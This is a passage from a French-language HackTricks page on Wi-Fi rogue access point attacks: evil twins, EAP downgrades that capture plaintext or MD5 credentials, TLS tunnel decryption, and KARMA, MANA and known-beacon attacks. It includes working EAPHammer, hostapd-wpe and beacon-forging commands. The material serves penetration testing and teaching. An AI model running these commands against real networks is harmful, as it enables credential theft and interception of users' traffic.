Veuillez noter que par défaut, si un ESSID dans le PNL est enregistré comme protégé par WPA, le dispositif ne se connectera pas automatiquement à un Open evil Twin. Vous pouvez essayer de DoS l’AP réel et espérer que l’utilisateur se connectera manuellement à votre Open evil twin, ou vous pouvez DoS l’AP réel et utiliser un WPA Evil Twin pour capturer le handshake (avec cette méthode vous ne pourrez pas laisser la victime se connecter à vous puisque vous ne connaissez pas le PSK, mais vous pouvez capturer le handshake et tenter de le cracker).

Certains OS et AV avertiront l’utilisateur que se connecter à un Open network est dangereux…

WPA/WPA2 Evil Twin

Vous pouvez créer un Evil Twin using WPA/2 et si les appareils sont configurés pour se connecter à ce SSID avec WPA/2, ils vont tenter de se connecter. Quoi qu’il en soit, to complete the 4-way-handshake vous devez aussi know le password que le client va utiliser. Si vous don’t know celui-ci, la connection won’t be completed.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

Pour comprendre ces attaques, je recommande de lire d’abord le bref WPA Enterprise explanation.

Utiliser hostapd-wpe

hostapd-wpe a besoin d’un fichier de configuration pour fonctionner. Pour automatiser la génération de ces configurations, vous pouvez utiliser https://github.com/WJDigby/apd_launchpad (téléchargez le fichier python dans /etc/hostapd-wpe)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

Dans le fichier de configuration, vous pouvez sélectionner de nombreuses choses différentes comme ssid, channel, fichiers utilisateur, cret/key, dh parameters, wpa version et auth…

Using hostapd-wpe with EAP-TLS to allow any certificate to login.

Utiliser EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Par défaut, EAPHammer cible ces méthodes d’authentification (notez GTC en premier pour tenter d’obtenir les mots de passe en clair, puis l’utilisation de méthodes d’authentification plus robustes) :

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Ceci est la méthodologie par défaut pour éviter de longues durées de connexion. Cependant, vous pouvez aussi spécifier au serveur les méthodes d’authentification de la plus faible à la plus forte :

--negotiate weakest

Ou vous pouvez également utiliser :

  • --negotiate gtc-downgrade to use highly efficient GTC downgrade implementation (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
  • Find more info in the wiki

Using Airgeddon

Airgeddon peut utiliser des certificats préalablement générés pour proposer une authentification EAP aux réseaux WPA/WPA2-Enterprise. Le réseau factice rétrogradera le protocole de connexion vers EAP-MD5 de sorte qu’il pourra capturer l’utilisateur et le MD5 du mot de passe. Ensuite, l’attaquant peut tenter de cracker le mot de passe.
Airggedon vous offre la possibilité d’une continuous Evil Twin attack (noisy) ou de créer uniquement l’Evil Attack jusqu’à ce que quelqu’un se connecte (smooth).

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

Cette méthode a été testée sur une connexion PEAP mais comme je décrypte un tunnel TLS arbitraire, cela devrait aussi fonctionner avec EAP-TTLS.

Dans la configuration de hostapd-wpe, commentez la ligne qui contient dh_file (de dh_file=/etc/hostapd-wpe/certs/dh à #dh_file=/etc/hostapd-wpe/certs/dh)
Cela forcera hostapd-wpe à échanger les clés en utilisant RSA au lieu de DH, vous permettant ainsi de décrypter le trafic plus tard en connaissant la clé privée du serveur.

Démarrez maintenant l’Evil Twin en utilisant hostapd-wpe avec cette configuration modifiée comme d’habitude. Démarrez également wireshark sur l’interface qui effectue l’attaque Evil Twin.

Maintenant ou plus tard (lorsque vous avez déjà capturé quelques tentatives d’authentification) vous pouvez ajouter la clé RSA privée à wireshark dans : Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs : IP address = anyPort = 0Protocol = dataKey File (sélectionnez votre fichier de clé, pour éviter les problèmes sélectionnez un fichier de clé sans protection par mot de passe).

Et regardez le nouvel onglet “Decrypted TLS” :

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Différents types de Media Access Control Filter Lists (MFACLs) et leurs modes correspondants, ainsi que les effets sur le comportement d’un rogue Access Point (AP) :

  1. MAC-based Whitelist:
  • Le rogue AP répondra uniquement aux probe requests des appareils spécifiés dans la whitelist, restant invisible pour tous les autres non listés.
  1. MAC-based Blacklist:
  • Le rogue AP ignorera les probe requests des appareils présents sur la blacklist, rendant effectivement le rogue AP invisible pour ces appareils spécifiques.
  1. SSID-based Whitelist:
  • Le rogue AP répondra aux probe requests uniquement pour les ESSIDs spécifiques listés, le rendant invisible pour les appareils dont les Preferred Network Lists (PNLs) ne contiennent pas ces ESSIDs.
  1. SSID-based Blacklist:
  • Le rogue AP ne répondra pas aux probe requests pour les ESSIDs spécifiques présents sur la blacklist, le rendant invisible pour les appareils cherchant ces réseaux particuliers.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Cette méthode permet à un attaquant de créer un point d’accès malveillant (AP) qui répond à toutes les probe requests des appareils cherchant à se connecter à des réseaux. Cette technique trompe les appareils pour qu’ils se connectent à l’AP de l’attaquant en imitant les réseaux que les appareils recherchent. Une fois qu’un appareil envoie une demande de connexion à ce rogue AP, la connexion s’établit, entraînant l’appareil à se connecter par erreur au réseau de l’attaquant.

MANA

Ensuite, les appareils ont commencé à ignorer les réponses réseau non fiables, réduisant l’efficacité de l’attaque karma originale. Cependant, une nouvelle méthode, connue sous le nom de MANA attack, a été introduite par Ian de Villiers et Dominic White. Cette méthode implique que le rogue AP capture les Preferred Network Lists (PNL) des appareils en répondant à leurs broadcast probe requests avec des noms de réseau (SSIDs) précédemment connus par les appareils. Cette attaque sophistiquée contourne les protections contre l’attaque karma originale en exploitant la façon dont les appareils mémorisent et priorisent les réseaux connus.

La MANA attack fonctionne en surveillant à la fois les directed et broadcast probe requests des appareils. Pour les directed requests, il enregistre le MAC address de l’appareil et le nom du réseau demandé, ajoutant ces informations à une liste. Lorsqu’une broadcast request est reçue, l’AP répond avec des informations correspondant à l’un des réseaux dans la liste de l’appareil, incitant l’appareil à se connecter au rogue AP.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Une Loud MANA attack est une stratégie avancée pour les cas où les appareils n’utilisent pas directed probing ou lorsque leurs Preferred Network Lists (PNL) sont inconnues de l’attaquant. Elle repose sur le principe que les appareils situés dans la même zone partagent probablement certains noms de réseau dans leurs PNL. Plutôt que de répondre de manière sélective, cette attaque diffuse des probe responses pour chaque nom de réseau (ESSID) trouvé dans les PNL combinées de tous les appareils observés. Cette approche large augmente la probabilité qu’un appareil reconnaisse un réseau familier et tente de se connecter au rogue Access Point (AP).

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Lorsque la Loud MANA attack peut ne pas suffire, la Known Beacon attack offre une autre approche. Cette méthode brute-forces le processus de connexion en simulant un AP qui répond à n’importe quel nom de réseau, parcourant une liste d’ESSIDs potentiels dérivée d’une wordlist. Cela simule la présence de nombreux réseaux, dans l’espoir de correspondre à un ESSID dans le PNL de la victime, provoquant une tentative de connexion vers l’AP factice. L’attaque peut être amplifiée en la combinant avec l’option --loud pour une tentative plus agressive de piéger des appareils.

Eaphammer a implémenté cette attaque comme une MANA attack où tous les ESSIDs dans une liste sont chargés (vous pouvez aussi combiner cela avec --loud pour créer une Loud MANA + Known beacons attack):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

L’Known Beacon Burst attack implique la diffusion en rafale de beacon frames pour chaque ESSID listé dans un fichier. Cela crée un environnement dense de réseaux factices, augmentant fortement la probabilité que des appareils se connectent au rogue AP, surtout lorsqu’elle est combinée à une MANA attack. Cette technique exploite la vitesse et le volume pour submerger les mécanismes de sélection de réseau des appareils.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct est un protocole permettant à des appareils de se connecter directement entre eux via Wi-Fi sans avoir besoin d’un point d’accès sans fil traditionnel. Cette fonctionnalité est intégrée à divers appareils de l’Internet des objets (IoT), tels que les imprimantes et les télévisions, facilitant la communication directe appareil-à-appareil. Une caractéristique notable de Wi-Fi Direct est qu’un appareil assume le rôle d’un point d’accès, connu sous le nom de group owner, pour gérer la connexion.

La sécurité des connexions Wi-Fi Direct est assurée par Wi-Fi Protected Setup (WPS), qui prend en charge plusieurs méthodes d’appairage sécurisé, notamment :

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

Ces méthodes, en particulier PIN entry, sont vulnérables aux mêmes failles que WPS dans les réseaux Wi-Fi traditionnels, ce qui en fait des cibles pour des vecteurs d’attaque similaires.

EvilDirect Hijacking

EvilDirect Hijacking est une attaque spécifique à Wi-Fi Direct. Elle reprend le concept d’une Evil Twin attack mais cible les connexions Wi-Fi Direct. Dans ce scénario, un attaquant usurpe un group owner légitime dans le but d’inciter les appareils à se connecter à une entité malveillante. Cette méthode peut être exécutée à l’aide d’outils comme airbase-ng en spécifiant le channel, l’ESSID et la MAC address de l’appareil usurpé :

Références

TODO : Jetez un œil à [https://github.com/wifiphisher/wifiphisher] (connexion avec Facebook et imitation de WPA dans des captive portals)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks